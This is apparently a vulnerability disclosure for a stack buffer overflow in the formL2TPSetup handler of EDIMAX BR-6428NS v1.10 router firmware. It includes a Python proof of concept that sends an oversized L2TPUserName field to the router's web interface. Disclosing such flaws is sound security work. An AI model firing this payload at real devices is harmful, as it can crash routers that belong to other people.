Overview

Affected version

BR-6428NS_v4_1.10

Vulnerability details

The EDIMAX BR-6428NS_v4_1.10 firmware has a stack overflow vulnerability in the formL2TPSetup function. The v22 variable receives the L2TPUserName parameter from a POST request. However, since the user can control the input of L2TPUserName, the statement strcat() can cause a buffer overflow.

image.png

POC

import requests

ip = "192.168.2.1"

payload = "A"*5000
data = {
    "submit-url":       "",
    "L2TPConnect":      "",
    "L2TPDisconnect":   "",
    "L2TPIpMode":       "0",
    "HostName":         "test",
    "macAddr":          "",
    "enableDuallAccess": "",
    "DUAL_WAN_IGMP":    "",
    "httpProxyEnable":  "",
    "DNSMode":          "1",
    "dns1":             "1.1.1.1",
    "dns2":             "8.8.8.8",
    "dns3":             "",
    "L2TPIPAddr":       "",
    "L2TPMaskAddr":     "",
    "L2TPDefGateway":   "",
    "L2TPGateway":      "",
    "L2TPUserName":     payload,
}

url = f'http://{ip}/goform/formL2TPSetup'

res = requests.post(url=url, data=data, verify=False)
print(res)

image.png